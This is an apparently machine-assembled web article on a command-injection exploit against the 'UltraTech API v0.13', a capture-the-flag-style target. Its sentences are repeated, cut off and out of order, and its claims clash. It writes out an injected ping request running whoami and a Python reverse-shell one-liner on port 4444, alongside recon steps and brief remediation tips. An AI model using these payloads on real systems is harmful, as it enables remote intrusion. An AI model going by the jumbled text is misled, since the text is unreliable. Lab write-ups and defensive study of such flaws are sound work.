V013 Exploit - Ultratech Api

The API handles system commands through hidden parameters meant for diagnostics. Because the input field lacks strict sanitization or whitelisting, attackers can append shell metacharacters (such as ; , && , or | ) to legitimate parameters. This allows the execution of arbitrary code directly on the underlying operating system hosting the API server. How the Exploit is Executed

GET /api/v0.13/ping?ip=8.8.8.8;whoami HTTP/1.1 Host: ultratech.local Use code with caution.

Instead of ping output, the response reveals the existence of a file: . This confirms command injection is possible and provides the first piece of sensitive data. ultratech api v013 exploit

Use built-in libraries that handle arguments safely without spawning a shell.

The machine did not have the alpine image available locally. By listing the available Docker images ( docker ps -a ), the attacker found that a image was present. The command was then adjusted to: The API handles system commands through hidden parameters

The UltraTech API is designed to manage various industrial Internet of Things (IoT) devices and data streams. Version 0.13, in particular, was found to contain critical flaws in its authentication mechanisms.

To get full access, use a one-liner like: 127.0.0.1; python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((" ",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")' 🛠️ Execution Steps Recon: Locate the API port (usually 31331 ) using Nmap . How the Exploit is Executed GET /api/v0

To gain initial access through this API, a typical attack follows these steps: Reconnaissance

For Node.js, libraries like net-ping handle ICMP echo requests entirely within the application layer without spawning a shell process. Remediation 2: Use Safe Execution APIs ( execFile or spawn )
